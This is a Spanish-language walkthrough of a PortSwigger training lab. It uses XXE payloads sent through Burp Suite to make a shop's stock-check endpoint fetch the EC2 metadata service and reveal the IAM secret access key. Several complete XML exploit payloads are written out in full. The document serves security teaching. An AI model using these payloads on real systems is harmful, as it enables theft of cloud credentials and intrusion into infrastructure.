Exploiting XXE to perform SSRF attacks – PortSwigger Write Up
En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Exploiting XXE to perform SSRF attacks.”
Pasos
Vemos que en esta situación es una tienda donde podemos ver los detalles de los productos y si nos fijamos podemos ver el stock de cada uno de los productos. Este laboratorio tiene una función “Check stock” que analiza la entrada XML y devuelve cualquier valor inesperado en la respuesta.
El servidor de laboratorio está ejecutando un punto final de metadatos EC2 (simulado) en la URL predeterminada, que es http://169.254.169.254/.
Este punto final se puede utilizar para recuperar datos sobre la instancia, algunos de los cuales pueden ser confidenciales.
Para resolver el laboratorio, aproveche la vulnerabilidad XXE para realizar un ataque SSRF
que obtenga el secret access key de IAM del servidor desde el punto final de metadatos EC2.
Entonces, vamos al laboratorio e interceptamos en segundo plano todos los paquetes en el burpsuite, entonces vamos a un producto y
hacemos clic en Check stock y buscamos el paquete en el Http history y lo enviamos al Repeater
.
Entonces ahora debemos generar un payload para el ataque, el cual será el siguiente basandonos en la estructura del XML del paquete:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Y enviamos el paquete, observamos lo siguiente:
Recibimos como respuesta el string latest, lo agregamos a la url de la ip a la que queremos acceder y obtenemos la siguiente respuesta:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
Y volvemos a agregar la respuesta en la url del payload y obtenemos la siguiente respuesta:
"Invalid product ID: iam"
Y seguimos agregando todos los que nos sugiere hasta tener el siguiente payload.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>
1
</storeId>
</stockCheck>
El cual nos devuelve la siguiente respuesta:
Y los que nos piden es el secret access key
. Entramos al home del laboratorio desde el navegador para verificar que completamos el laboratorio.
Finalmente completamos el laboratorio.
¡Un saludo y espero que os sirva de apoyo!